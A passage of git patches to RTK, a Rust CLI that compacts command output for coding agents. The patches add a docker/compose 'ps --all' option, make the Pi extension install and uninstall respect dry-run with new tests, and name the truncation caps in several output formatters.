{i}, \"column\": 20}},\n \"filename\": \"/Users/dev/project/src/feature_{i}.py\",\n \"fix\": null\n }}" + )); + } + let json = format!("[\n{}\n]", diags.join(",\n")); + let result = filter_ruff_check_json(&json); + + let in_section = result.split("Violations:").nth(1).unwrap_or(""); + let listed = in_section + .lines() + .filter(|l| l.trim().starts_with("src/")) + .count(); + assert!(listed <= 50, "violations cap not enforced: got {listed}"); + assert!( + result.contains("… +150 more"), + "missing '+N more' indicator" + ); + + let raw_tokens = json.split_whitespace().count(); + let out_tokens = result.split_whitespace().count(); + let savings = 100.0 - (out_tokens as f64 / raw_tokens as f64) * 100.0; + assert!( + savings >= 60.0, + "token savings dropped below 60%: {savings:.1}%" + ); + } + #[test] fn test_compact_path() { assert_eq!( diff --git a/src/main.rs b/src/main.rs index 25c70dcb06..f7e914c0eb 100644 --- a/src/main.rs +++ b/src/main.rs @@ -903,7 +903,10 @@ enum PnpmCommands { #[derive(Debug, Subcommand)] enum DockerCommands { /// List running containers - Ps, + Ps { + #[arg(short = 'a', long)] + all: bool, + }, /// List images Images, /// Show container logs (deduplicated) @@ -921,7 +924,10 @@ enum DockerCommands { #[derive(Debug, Subcommand)] enum ComposeCommands { /// List compose services (compact) - Ps, + Ps { + #[arg(short = 'a', long)] + all: bool, + }, /// Show compose logs (deduplicated) Logs { /// Optional service name @@ -1699,8 +1705,13 @@ fn run_cli() -> Result { }, Commands::Docker { command } => match command { - DockerCommands::Ps => { - container::run(container::ContainerCmd::DockerPs, &[], cli.verbose)? + DockerCommands::Ps { all } => { + let cmd = if all { + container::ContainerCmd::DockerPsAll + } else { + container::ContainerCmd::DockerPs + }; + container::run(cmd, &[], cli.verbose)? } DockerCommands::Images => { container::run(container::ContainerCmd::DockerImages, &[], cli.verbose)? @@ -1709,7 +1720,7 @@ fn run_cli() -> Result { container::run(container::ContainerCmd::DockerLogs, &[c], cli.verbose)? } DockerCommands::Compose { command: compose } => match compose { - ComposeCommands::Ps => container::run_compose_ps(cli.verbose)?, + ComposeCommands::Ps { all } => container::run_compose_ps(all, cli.verbose)?, ComposeCommands::Logs { service, tail } => { container::run_compose_logs(service.as_deref(), tail, cli.verbose)? } From 64ed4f85504d94ac54e481b289e11362a5f75fdd Mon Sep 17 00:00:00 2001 From: gitbluf Date: Mon, 18 May 2026 21:10:48 +0200 Subject: [PATCH 105/257] fix(init): honor dry-run for Pi install and uninstall paths --- src/hooks/init.rs | 184 ++++++++++++++++++++++++++++++++++++++++------ src/main.rs | 2 +- 2 files changed, 164 insertions(+), 22 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 94fda39dbe..b452a4db83 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -654,16 +654,26 @@ pub fn uninstall( let mut removed: Vec = Vec::new(); if plugin_path.exists() { - fs::remove_file(&plugin_path).with_context(|| { - format!("Failed to remove Pi extension: {}", plugin_path.display()) - })?; - if verbose > 0 { - eprintln!("Removed Pi extension: {}", plugin_path.display()); + if dry_run { + println!( + "[dry-run] would remove Pi extension: {}", + plugin_path.display() + ); + } else { + // nosemgrep: filesystem-deletion -- Pi uninstall removes only the RTK-managed extension file. + fs::remove_file(&plugin_path).with_context(|| { + format!("Failed to remove Pi extension: {}", plugin_path.display()) + })?; + if verbose > 0 { + eprintln!("Removed Pi extension: {}", plugin_path.display()); + } + removed.push(format!("Pi extension: {}", plugin_path.display())); } - removed.push(format!("Pi extension: {}", plugin_path.display())); } - if !removed.is_empty() { + if dry_run { + print_dry_run_footer(); + } else if !removed.is_empty() { println!("RTK uninstalled (Pi):"); for item in &removed { println!(" - {}", item); @@ -2788,39 +2798,52 @@ fn ensure_pi_plugin_installed(path: &Path, ctx: InitContext) -> Result { write_if_changed(path, PI_PLUGIN, "Pi extension", ctx) } +/// Create the Pi extensions directory, or in dry-run mode, print a message only if +/// the directory does not yet exist (avoids reporting no-op changes). +fn ensure_pi_extensions_dir(parent: &Path, name: &str, ctx: InitContext) -> Result<()> { + let InitContext { dry_run, .. } = ctx; + if dry_run { + if !parent.exists() { + println!("[dry-run] would create {}: {}", name, parent.display()); + } + } else { + fs::create_dir_all(parent) + .with_context(|| format!("Failed to create {}: {}", name, parent.display()))?; + } + Ok(()) +} + /// Install the Pi extension (hook-only; no AGENTS.md injection). /// /// global=true → `$PI_CODING_AGENT_DIR/extensions/rtk.ts` /// global=false → `.pi/extensions/rtk.ts` pub fn run_pi_mode(global: bool, ctx: InitContext) -> Result<()> { - let InitContext { verbose: _, .. } = ctx; + let InitContext { + verbose: _, + dry_run, + } = ctx; let plugin_path = if global { let pi_dir = resolve_pi_dir()?; let path = pi_plugin_path(&pi_dir); if let Some(parent) = path.parent() { - fs::create_dir_all(parent).with_context(|| { - format!( - "Failed to create Pi extensions directory: {}", - parent.display() - ) - })?; + ensure_pi_extensions_dir(parent, "Pi extensions directory", ctx)?; } path } else { let path = pi_plugin_path_for_scope(false)?; if let Some(parent) = path.parent() { - fs::create_dir_all(parent).with_context(|| { - format!( - "Failed to create local Pi extensions directory: {}", - parent.display() - ) - })?; + ensure_pi_extensions_dir(parent, "local Pi extensions directory", ctx)?; } path }; let installed = ensure_pi_plugin_installed(&plugin_path, ctx)?; - print_pi_result(&plugin_path, installed); + + if dry_run { + print_dry_run_footer(); + } else { + print_pi_result(&plugin_path, installed); + } Ok(()) } @@ -5899,4 +5922,123 @@ mod tests { .join(PI_PLUGIN_FILE) ); } + + #[test] + fn test_run_pi_mode_global_dry_run_writes_nothing() { + let tmp = TempDir::new().unwrap(); + with_pi_dir_override(&tmp, |pi_dir| { + run_pi_mode( + true, + InitContext { + verbose: 0, + dry_run: true, + }, + ) + .unwrap(); + + assert!( + !pi_dir.join(PI_EXTENSIONS_SUBDIR).exists(), + "dry-run must not create the Pi extensions directory" + ); + assert!( + !pi_dir + .join(PI_EXTENSIONS_SUBDIR) + .join(PI_PLUGIN_FILE) + .exists(), + "dry-run must not create the Pi extension file" + ); + }); + } + + #[test] + fn test_run_pi_mode_local_dry_run_writes_nothing() { + let tmp = TempDir::new().unwrap(); + let _cwd_guard = CWD_LOCK.lock().unwrap_or_else(|e| e.into_inner()); + let cwd = std::env::current_dir().unwrap(); + std::env::set_current_dir(tmp.path()).unwrap(); + + let result = run_pi_mode( + false, + InitContext { + verbose: 0, + dry_run: true, + }, + ); + std::env::set_current_dir(&cwd).unwrap(); + result.unwrap(); + + assert!( + !tmp.path().join(".pi").join(PI_EXTENSIONS_SUBDIR).exists(), + "dry-run must not create .pi/extensions/" + ); + } + + #[test] + fn test_pi_global_uninstall_dry_run_keeps_plugin() { + let tmp = TempDir::new().unwrap(); + with_pi_dir_override(&tmp, |pi_dir| { + run_pi_mode(true, InitContext::default()).unwrap(); + let plugin = pi_dir.join(PI_EXTENSIONS_SUBDIR).join(PI_PLUGIN_FILE); + assert!( + plugin.exists(), + "plugin must exist before uninstall dry-run" + ); + + uninstall( + true, + false, + false, + false, + true, + InitContext { + verbose: 0, + dry_run: true, + }, + ) + .unwrap(); + + assert!( + plugin.exists(), + "dry-run uninstall must not remove the Pi extension" + ); + }); + } + + #[test] + fn test_pi_local_uninstall_dry_run_keeps_plugin() { + let tmp = TempDir::new().unwrap(); + let _cwd_guard = CWD_LOCK.lock().unwrap_or_else(|e| e.into_inner()); + let cwd = std::env::current_dir().unwrap(); + std::env::set_current_dir(tmp.path()).unwrap(); + + run_pi_mode(false, InitContext::default()).unwrap(); + let plugin = tmp + .path() + .join(".pi") + .join(PI_EXTENSIONS_SUBDIR) + .join(PI_PLUGIN_FILE); + assert!( + plugin.exists(), + "plugin must exist before uninstall dry-run" + ); + + let result = uninstall( + false, + false, + false, + false, + true, + InitContext { + verbose: 0, + dry_run: true, + }, + ); + std::env::set_current_dir(&cwd).unwrap(); + result.unwrap(); + + assert!( + plugin.exists(), + "dry-run uninstall must not remove the local Pi extension" + ); + } } diff --git a/src/main.rs b/src/main.rs index 469eefa9fe..396523e715 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1799,7 +1799,7 @@ fn run_cli() -> Result { dry_run, }; if show { - hooks::init::show_config(codex)? + hooks::init::show_config(codex)?; } else if uninstall { uninstall_init_dispatch( agent, From 548e4dd995d5de6e52d7c8e7bb0a0f81fa2c0328 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Sat, 16 May 2026 18:18:14 +0200 Subject: [PATCH 106/257] fix(tee): safe truncation caps and compose-ps tee content fix Replace all bare magic offset literals (e.g. 21 for cap=20) with named constants (MAX_XXX + 1) so offsets stay in sync if caps change. Fix compose_ps to tee pre-formatted lines instead of raw tab-separated input, so tail -n +N gives the agent readable content. All 13 affected modules updated: container, dotnet, gh, glab, go, lint, pnpm, pytest, rubocop, cargo, aws. 1884 tests pass. Co-Authored-By: Claude Sonnet 4.6 --- src/cmds/cloud/aws_cmd.rs | 16 +-- src/cmds/cloud/container.rs | 121 ++++++++++++++--------- src/cmds/dotnet/dotnet_cmd.rs | 180 +++++++++++++++++++++++++++++----- src/cmds/git/gh_cmd.rs | 83 +++++++++------- src/cmds/git/glab_cmd.rs | 116 +++++++++++++--------- src/cmds/go/go_cmd.rs | 22 +++-- src/cmds/js/lint_cmd.rs | 47 +++++++-- src/cmds/js/pnpm_cmd.rs | 39 +++++--- src/cmds/python/pytest_cmd.rs | 4 + src/cmds/ruby/rubocop_cmd.rs | 18 +++- src/cmds/rust/cargo_cmd.rs | 61 ++++++++++-- src/core/utils.rs | 2 +- 12 files changed, 498 insertions(+), 211 deletions(-) diff --git a/src/cmds/cloud/aws_cmd.rs b/src/cmds/cloud/aws_cmd.rs index 2657218b8f..aa53fc3a0d 100644 --- a/src/cmds/cloud/aws_cmd.rs +++ b/src/cmds/cloud/aws_cmd.rs @@ -494,7 +494,7 @@ fn filter_s3_ls(output: &str) -> FilterResult { if total > limit { let text = format!( - "{}\n... +{} more items", + "{}\n… +{} more items", lines[..limit].join("\n"), total - limit ); @@ -553,7 +553,7 @@ fn filter_ec2_instances(json_str: &str) -> Option { } if truncated { - result.push_str(&format!(" ... +{} more\n", total - MAX_ITEMS)); + result.push_str(&format!(" … +{} more\n", total - MAX_ITEMS)); } let text = result.trim_end().to_string(); @@ -759,7 +759,7 @@ fn filter_logs_events(json_str: &str) -> Option { } if truncated { - lines.push(format!("... +{} more events", total - MAX_LOG_EVENTS)); + lines.push(format!("… +{} more events", total - MAX_LOG_EVENTS)); } let text = lines.join("\n"); @@ -1132,7 +1132,7 @@ fn filter_dynamodb_items(json_str: &str) -> Option { } if truncated { - lines.push(format!("... +{} more items", total - MAX_ITEMS)); + lines.push(format!("… +{} more items", total - MAX_ITEMS)); } let text = lines.join("\n"); @@ -1426,7 +1426,7 @@ fn filter_logs_query_results(json_str: &str) -> Option { } if truncated { - lines.push(format!("... +{} more rows", total - MAX_ITEMS)); + lines.push(format!("… +{} more rows", total - MAX_ITEMS)); } let text = lines.join("\n"); @@ -1616,7 +1616,7 @@ mod tests { } let input = lines.join("\n"); let result = filter_s3_ls(&input); - assert!(result.text.contains("... +20 more items")); + assert!(result.text.contains("… +20 more items")); assert!(result.truncated); } @@ -1852,7 +1852,7 @@ mod tests { } let json = format!(r#"{{"DBInstances": [{}]}}"#, dbs.join(",")); let result = filter_rds_instances(&json).unwrap(); - assert!(result.text.contains("... +5 more instances")); + assert!(result.text.contains("… +5 more instances")); assert!(result.truncated); } @@ -1893,7 +1893,7 @@ mod tests { } let json = format!(r#"{{"events": [{}]}}"#, events.join(",")); let result = filter_logs_events(&json).unwrap(); - assert!(result.text.contains("... +10 more events")); + assert!(result.text.contains("… +10 more events")); assert!(result.truncated); } diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index ee2ac6e4bf..09ef999fb8 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -348,12 +348,19 @@ fn format_kubectl_pods(json: &Value) -> String { let mut out = format!("{} pods: {}\n", pods.len(), parts.join(", ")); if !issues.is_empty() { + const MAX_PODS_ISSUES: usize = 10; out.push_str("[warn] Issues:\n"); - for issue in issues.iter().take(10) { + for issue in issues.iter().take(MAX_PODS_ISSUES) { out.push_str(&format!(" {}\n", issue)); } - if issues.len() > 10 { - out.push_str(&format!(" … +{} more", issues.len() - 10)); + if issues.len() > MAX_PODS_ISSUES { + out.push_str(&format!(" … +{} more", issues.len() - MAX_PODS_ISSUES)); + let all_issues = issues.join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_issues, "kubectl-pods", MAX_PODS_ISSUES + 1) + { + out.push_str(&format!(" {}", hint)); + } } } out @@ -374,39 +381,48 @@ fn format_kubectl_services(json: &Value) -> String { }; let mut out = format!("{} services:\n", services.len()); - for svc in services.iter().take(15) { - let ns = svc["metadata"]["namespace"].as_str().unwrap_or("-"); - let name = svc["metadata"]["name"].as_str().unwrap_or("-"); - let svc_type = svc["spec"]["type"].as_str().unwrap_or("-"); - let ports: Vec = svc["spec"]["ports"] - .as_array() - .map(|arr| { - arr.iter() - .map(|p| { - let port = p["port"].as_i64().unwrap_or(0); - let target = p["targetPort"] - .as_i64() - .or_else(|| p["targetPort"].as_str().and_then(|s| s.parse().ok())) - .unwrap_or(port); - if port == target { - format!("{}", port) - } else { - format!("{}→{}", port, target) - } - }) - .collect() - }) - .unwrap_or_default(); - out.push_str(&format!( - " {}/{} {} [{}]\n", - ns, - name, - svc_type, - ports.join(",") - )); - } - if services.len() > 15 { - out.push_str(&format!(" … +{} more", services.len() - 15)); + let all_lines: Vec = services + .iter() + .map(|svc| { + let ns = svc["metadata"]["namespace"].as_str().unwrap_or("-"); + let name = svc["metadata"]["name"].as_str().unwrap_or("-"); + let svc_type = svc["spec"]["type"].as_str().unwrap_or("-"); + let ports: Vec = svc["spec"]["ports"] + .as_array() + .map(|arr| { + arr.iter() + .map(|p| { + let port = p["port"].as_i64().unwrap_or(0); + let target = p["targetPort"] + .as_i64() + .or_else(|| p["targetPort"].as_str().and_then(|s| s.parse().ok())) + .unwrap_or(port); + if port == target { + format!("{}", port) + } else { + format!("{}→{}", port, target) + } + }) + .collect() + }) + .unwrap_or_default(); + format!(" {}/{} {} [{}]", ns, name, svc_type, ports.join(",")) + }) + .collect(); + + const MAX_KUBECTL_SERVICES: usize = 15; + for line in all_lines.iter().take(MAX_KUBECTL_SERVICES) { + out.push_str(&format!("{}\n", line)); + } + if all_lines.len() > MAX_KUBECTL_SERVICES { + out.push_str(&format!(" … +{} more", all_lines.len() - MAX_KUBECTL_SERVICES)); + let all_text = all_lines.join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_text, "kubectl-services", MAX_KUBECTL_SERVICES + 1) + { + out.push_str(&format!(" {}", hint)); + } + out.push('\n'); } out } @@ -444,6 +460,7 @@ fn kubectl_logs(args: &[String], _verbose: u8) -> Result { /// Expects tab-separated lines: Name\tImage\tStatus\tPorts /// (no header row — `--format` output is headerless) pub fn format_compose_ps(raw: &str) -> String { + const MAX_COMPOSE_SERVICES: usize = 20; let lines: Vec<&str> = raw.lines().filter(|l| !l.trim().is_empty()).collect(); if lines.is_empty() { @@ -452,16 +469,19 @@ pub fn format_compose_ps(raw: &str) -> String { let mut result = format!("[compose] {} services:\n", lines.len()); - for line in lines.iter().take(20) { - let parts: Vec<&str> = line.split('\t').collect(); - if parts.len() >= 4 { + // Pre-build all formatted lines so the tee file matches what the agent sees. + let all_formatted: Vec = lines + .iter() + .filter_map(|line| { + let parts: Vec<&str> = line.split('\t').collect(); + if parts.len() < 4 { + return None; + } let name = parts[0]; let image = parts[1]; let status = parts[2]; let ports = parts[3]; - let short_image = image.split('/').next_back().unwrap_or(image); - let port_str = if ports.trim().is_empty() { String::new() } else { @@ -472,15 +492,20 @@ pub fn format_compose_ps(raw: &str) -> String { format!(" [{}]", compact) } }; + Some(format!(" {} ({}) {}{}", name, short_image, status, port_str)) + }) + .collect(); - result.push_str(&format!( - " {} ({}) {}{}\n", - name, short_image, status, port_str - )); - } + for line in all_formatted.iter().take(MAX_COMPOSE_SERVICES) { + result.push_str(line); + result.push('\n'); } - if lines.len() > 20 { - result.push_str(&format!(" … +{} more\n", lines.len() - 20)); + if all_formatted.len() > MAX_COMPOSE_SERVICES { + result.push_str(&format!(" … +{} more\n", all_formatted.len() - MAX_COMPOSE_SERVICES)); + let all_text = all_formatted.join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_text, "compose-ps", MAX_COMPOSE_SERVICES + 1) { + result.push_str(&format!(" {}\n", hint)); + } } result.trim_end().to_string() diff --git a/src/cmds/dotnet/dotnet_cmd.rs b/src/cmds/dotnet/dotnet_cmd.rs index 4c307ff509..32d0244862 100644 --- a/src/cmds/dotnet/dotnet_cmd.rs +++ b/src/cmds/dotnet/dotnet_cmd.rs @@ -369,7 +369,13 @@ fn format_dotnet_format_output( let mut output = format!("Format: {} files need formatting", changed_count); output.push_str("\n---------------------------------------"); - for (index, file) in summary.files_with_changes.iter().take(20).enumerate() { + const MAX_FORMAT_FILES: usize = 20; + for (index, file) in summary + .files_with_changes + .iter() + .take(MAX_FORMAT_FILES) + .enumerate() + { let first_change = &file.changes[0]; let rule = if first_change.diagnostic_id.is_empty() { first_change.format_description.as_str() @@ -386,8 +392,21 @@ fn format_dotnet_format_output( )); } - if changed_count > 20 { - output.push_str(&format!("\n... +{} more files", changed_count - 20)); + if changed_count > MAX_FORMAT_FILES { + output.push_str(&format!("\n… +{} more files", changed_count - MAX_FORMAT_FILES)); + let all_files = summary + .files_with_changes + .iter() + .map(|f| f.path.as_str()) + .collect::>() + .join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint( + &all_files, + "dotnet-format-files", + MAX_FORMAT_FILES + 1, + ) { + output.push_str(&format!(" {}", hint)); + } } output.push_str(&format!( @@ -979,31 +998,60 @@ fn format_build_output(summary: &binlog::BuildSummary, _binlog_path: &Path) -> S let status_icon = if summary.succeeded { "ok" } else { "fail" }; let duration = summary.duration_text.as_deref().unwrap_or("unknown"); + const MAX_BUILD_ERRORS: usize = 20; + const MAX_BUILD_WARNINGS: usize = 10; + let mut errors = String::new(); if !summary.errors.is_empty() { errors.push_str("Errors:\n"); - for issue in summary.errors.iter().take(20) { + for issue in summary.errors.iter().take(MAX_BUILD_ERRORS) { errors.push_str(&format!("{}\n", format_issue(issue, "error"))); } - if summary.errors.len() > 20 { + if summary.errors.len() > MAX_BUILD_ERRORS { errors.push_str(&format!( - " ... +{} more errors\n", - summary.errors.len() - 20 + " … +{} more errors\n", + summary.errors.len() - MAX_BUILD_ERRORS )); + let all_errors = summary + .errors + .iter() + .map(|e| format_issue(e, "error")) + .collect::>() + .join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint( + &all_errors, + "dotnet-build-errors", + MAX_BUILD_ERRORS + 1, + ) { + errors.push_str(&format!(" {}\n", hint)); + } } } let mut warnings = String::new(); if !summary.warnings.is_empty() { warnings.push_str("Warnings:\n"); - for issue in summary.warnings.iter().take(10) { + for issue in summary.warnings.iter().take(MAX_BUILD_WARNINGS) { warnings.push_str(&format!("{}\n", format_issue(issue, "warning"))); } - if summary.warnings.len() > 10 { + if summary.warnings.len() > MAX_BUILD_WARNINGS { warnings.push_str(&format!( - " ... +{} more warnings\n", - summary.warnings.len() - 10 + " … +{} more warnings\n", + summary.warnings.len() - MAX_BUILD_WARNINGS )); + let all_warnings = summary + .warnings + .iter() + .map(|w| format_issue(w, "warning")) + .collect::>() + .join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint( + &all_warnings, + "dotnet-build-warnings", + MAX_BUILD_WARNINGS + 1, + ) { + warnings.push_str(&format!(" {}\n", hint)); + } } } @@ -1089,31 +1137,82 @@ fn format_test_output( } if summary.failed_tests.len() > 15 { failed_tests_section.push_str(&format!( - "... +{} more failed tests\n", + "… +{} more failed tests\n", summary.failed_tests.len() - 15 )); + let all_failed = summary + .failed_tests + .iter() + .skip(15) + .map(|t| { + let mut s = t.name.clone(); + for detail in &t.details { + s.push_str(&format!("\n {}", truncate(detail, 320))); + } + s + }) + .collect::>() + .join("\n\n"); + if let Some(hint) = + crate::core::tee::force_tee_hint(&all_failed, "dotnet-test-failures") + { + failed_tests_section.push_str(&format!(" {}\n", hint)); + } } } + const MAX_TEST_ERRORS: usize = 10; + const MAX_TEST_WARNINGS: usize = 10; + let mut errors_section = String::new(); if !errors.is_empty() { errors_section.push_str("Errors:\n"); - for issue in errors.iter().take(10) { + for issue in errors.iter().take(MAX_TEST_ERRORS) { errors_section.push_str(&format!("{}\n", format_issue(issue, "error"))); } - if errors.len() > 10 { - errors_section.push_str(&format!(" ... +{} more errors\n", errors.len() - 10)); + if errors.len() > MAX_TEST_ERRORS { + errors_section.push_str(&format!( + " … +{} more errors\n", + errors.len() - MAX_TEST_ERRORS + )); + let all_errors = errors + .iter() + .map(|e| format_issue(e, "error")) + .collect::>() + .join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint( + &all_errors, + "dotnet-test-errors", + MAX_TEST_ERRORS + 1, + ) { + errors_section.push_str(&format!(" {}\n", hint)); + } } } let mut warnings_section = String::new(); if !warnings.is_empty() { warnings_section.push_str("Warnings:\n"); - for issue in warnings.iter().take(10) { + for issue in warnings.iter().take(MAX_TEST_WARNINGS) { warnings_section.push_str(&format!("{}\n", format_issue(issue, "warning"))); } - if warnings.len() > 10 { - warnings_section.push_str(&format!(" ... +{} more warnings\n", warnings.len() - 10)); + if warnings.len() > MAX_TEST_WARNINGS { + warnings_section.push_str(&format!( + " … +{} more warnings\n", + warnings.len() - MAX_TEST_WARNINGS + )); + let all_warnings = warnings + .iter() + .map(|w| format_issue(w, "warning")) + .collect::>() + .join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint( + &all_warnings, + "dotnet-test-warnings", + MAX_TEST_WARNINGS + 1, + ) { + warnings_section.push_str(&format!(" {}\n", hint)); + } } } @@ -1155,25 +1254,58 @@ fn format_restore_output( let status_icon = if has_errors { "fail" } else { "ok" }; let duration = summary.duration_text.as_deref().unwrap_or("unknown"); + const MAX_FORMAT_ERRORS: usize = 20; + const MAX_FORMAT_WARNINGS: usize = 10; + let mut errors_section = String::new(); if !errors.is_empty() { errors_section.push_str("Errors:\n"); - for issue in errors.iter().take(20) { + for issue in errors.iter().take(MAX_FORMAT_ERRORS) { errors_section.push_str(&format!("{}\n", format_issue(issue, "error"))); } - if errors.len() > 20 { - errors_section.push_str(&format!(" ... +{} more errors\n", errors.len() - 20)); + if errors.len() > MAX_FORMAT_ERRORS { + errors_section.push_str(&format!( + " … +{} more errors\n", + errors.len() - MAX_FORMAT_ERRORS + )); + let all_errors = errors + .iter() + .map(|e| format_issue(e, "error")) + .collect::>() + .join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint( + &all_errors, + "dotnet-format-errors", + MAX_FORMAT_ERRORS + 1, + ) { + errors_section.push_str(&format!(" {}\n", hint)); + } } } let mut warnings_section = String::new(); if !warnings.is_empty() { warnings_section.push_str("Warnings:\n"); - for issue in warnings.iter().take(10) { + for issue in warnings.iter().take(MAX_FORMAT_WARNINGS) { warnings_section.push_str(&format!("{}\n", format_issue(issue, "warning"))); } - if warnings.len() > 10 { - warnings_section.push_str(&format!(" ... +{} more warnings\n", warnings.len() - 10)); + if warnings.len() > MAX_FORMAT_WARNINGS { + warnings_section.push_str(&format!( + " … +{} more warnings\n", + warnings.len() - MAX_FORMAT_WARNINGS + )); + let all_warnings = warnings + .iter() + .map(|w| format_issue(w, "warning")) + .collect::>() + .join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint( + &all_warnings, + "dotnet-format-warnings", + MAX_FORMAT_WARNINGS + 1, + ) { + warnings_section.push_str(&format!(" {}\n", hint)); + } } } diff --git a/src/cmds/git/gh_cmd.rs b/src/cmds/git/gh_cmd.rs index 3535fd4ec7..cd22e3f919 100644 --- a/src/cmds/git/gh_cmd.rs +++ b/src/cmds/git/gh_cmd.rs @@ -249,25 +249,27 @@ fn format_pr_list(json: &Value, ultra_compact: bool) -> String { } else { "Pull Requests\n" }); - for pr in prs.iter().take(20) { - let number = pr["number"].as_i64().unwrap_or(0); - let title = pr["title"].as_str().unwrap_or("???"); - let state = pr["state"].as_str().unwrap_or("???"); - let author = pr["author"]["login"].as_str().unwrap_or("???"); - let icon = state_icon(state, ultra_compact); - out.push_str(&format!( - " {} #{} {} ({})\n", - icon, - number, - truncate(title, 60), - author - )); - } - if prs.len() > 20 { - out.push_str(&format!( - " ... {} more (use gh pr list for all)\n", - prs.len() - 20 - )); + let all_lines: Vec = prs + .iter() + .map(|pr| { + let number = pr["number"].as_i64().unwrap_or(0); + let title = pr["title"].as_str().unwrap_or("???"); + let state = pr["state"].as_str().unwrap_or("???"); + let author = pr["author"]["login"].as_str().unwrap_or("???"); + let icon = state_icon(state, ultra_compact); + format!(" {} #{} {} ({})", icon, number, truncate(title, 60), author) + }) + .collect(); + const MAX_LIST: usize = 20; + for line in all_lines.iter().take(MAX_LIST) { + out.push_str(&format!("{}\n", line)); + } + if all_lines.len() > MAX_LIST { + out.push_str(&format!(" … +{} more\n", all_lines.len() - MAX_LIST)); + let all_text = all_lines.join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_text, "gh-prs", MAX_LIST + 1) { + out.push_str(&format!(" {}\n", hint)); + } } out } @@ -589,25 +591,32 @@ fn format_issue_list(json: &Value, ultra_compact: bool) -> String { } let mut out = String::new(); out.push_str("Issues\n"); - for issue in issues.iter().take(20) { - let number = issue["number"].as_i64().unwrap_or(0); - let title = issue["title"].as_str().unwrap_or("???"); - let state = issue["state"].as_str().unwrap_or("???"); - let icon = if ultra_compact { - if state == "OPEN" { - "O" + let all_lines: Vec = issues + .iter() + .map(|issue| { + let number = issue["number"].as_i64().unwrap_or(0); + let title = issue["title"].as_str().unwrap_or("???"); + let state = issue["state"].as_str().unwrap_or("???"); + let icon = if ultra_compact { + if state == "OPEN" { "O" } else { "C" } + } else if state == "OPEN" { + "[open]" } else { - "C" - } - } else if state == "OPEN" { - "[open]" - } else { - "[closed]" - }; - out.push_str(&format!(" {} #{} {}\n", icon, number, truncate(title, 60))); - } - if issues.len() > 20 { - out.push_str(&format!(" ... {} more\n", issues.len() - 20)); + "[closed]" + }; + format!(" {} #{} {}", icon, number, truncate(title, 60)) + }) + .collect(); + const MAX_LIST: usize = 20; + for line in all_lines.iter().take(MAX_LIST) { + out.push_str(&format!("{}\n", line)); + } + if all_lines.len() > MAX_LIST { + out.push_str(&format!(" … +{} more\n", all_lines.len() - MAX_LIST)); + let all_text = all_lines.join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_text, "gh-issues", MAX_LIST + 1) { + out.push_str(&format!(" {}\n", hint)); + } } out } diff --git a/src/cmds/git/glab_cmd.rs b/src/cmds/git/glab_cmd.rs index 139ed58987..01a04055d8 100644 --- a/src/cmds/git/glab_cmd.rs +++ b/src/cmds/git/glab_cmd.rs @@ -304,27 +304,27 @@ fn format_mr_list(json: &Value, ultra_compact: bool) -> String { "Merge Requests\n" }); - for mr in mrs.iter().take(20) { - let iid = mr["iid"].as_i64().unwrap_or(0); - let title = mr["title"].as_str().unwrap_or("???"); - let state = mr["state"].as_str().unwrap_or("???"); - let author = mr["author"]["username"].as_str().unwrap_or("???"); - - let icon = state_icon(state, ultra_compact); - filtered.push_str(&format!( - " {} !{} {} ({})\n", - icon, - iid, - truncate(title, 60), - author - )); - } - - if mrs.len() > 20 { - filtered.push_str(&format!( - " ... {} more (use glab mr list for all)\n", - mrs.len() - 20 - )); + let all_lines: Vec = mrs + .iter() + .map(|mr| { + let iid = mr["iid"].as_i64().unwrap_or(0); + let title = mr["title"].as_str().unwrap_or("???"); + let state = mr["state"].as_str().unwrap_or("???"); + let author = mr["author"]["username"].as_str().unwrap_or("???"); + let icon = state_icon(state, ultra_compact); + format!(" {} !{} {} ({})", icon, iid, truncate(title, 60), author) + }) + .collect(); + const MAX_LIST: usize = 20; + for line in all_lines.iter().take(MAX_LIST) { + filtered.push_str(&format!("{}\n", line)); + } + if all_lines.len() > MAX_LIST { + filtered.push_str(&format!(" … +{} more\n", all_lines.len() - MAX_LIST)); + let all_text = all_lines.join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_text, "glab-mrs", MAX_LIST + 1) { + filtered.push_str(&format!(" {}\n", hint)); + } } filtered @@ -524,27 +524,32 @@ fn format_issue_list(json: &Value, ultra_compact: bool) -> String { let mut filtered = String::new(); filtered.push_str("Issues\n"); - for issue in issues.iter().take(20) { - let iid = issue["iid"].as_i64().unwrap_or(0); - let title = issue["title"].as_str().unwrap_or("???"); - let state = issue["state"].as_str().unwrap_or("???"); - - let icon = if ultra_compact { - if state == "opened" { - "O" + let all_lines: Vec = issues + .iter() + .map(|issue| { + let iid = issue["iid"].as_i64().unwrap_or(0); + let title = issue["title"].as_str().unwrap_or("???"); + let state = issue["state"].as_str().unwrap_or("???"); + let icon = if ultra_compact { + if state == "opened" { "O" } else { "C" } + } else if state == "opened" { + "[open]" } else { - "C" - } - } else if state == "opened" { - "[open]" - } else { - "[closed]" - }; - filtered.push_str(&format!(" {} #{} {}\n", icon, iid, truncate(title, 60))); - } - - if issues.len() > 20 { - filtered.push_str(&format!(" ... {} more\n", issues.len() - 20)); + "[closed]" + }; + format!(" {} #{} {}", icon, iid, truncate(title, 60)) + }) + .collect(); + const MAX_LIST: usize = 20; + for line in all_lines.iter().take(MAX_LIST) { + filtered.push_str(&format!("{}\n", line)); + } + if all_lines.len() > MAX_LIST { + filtered.push_str(&format!(" … +{} more\n", all_lines.len() - MAX_LIST)); + let all_text = 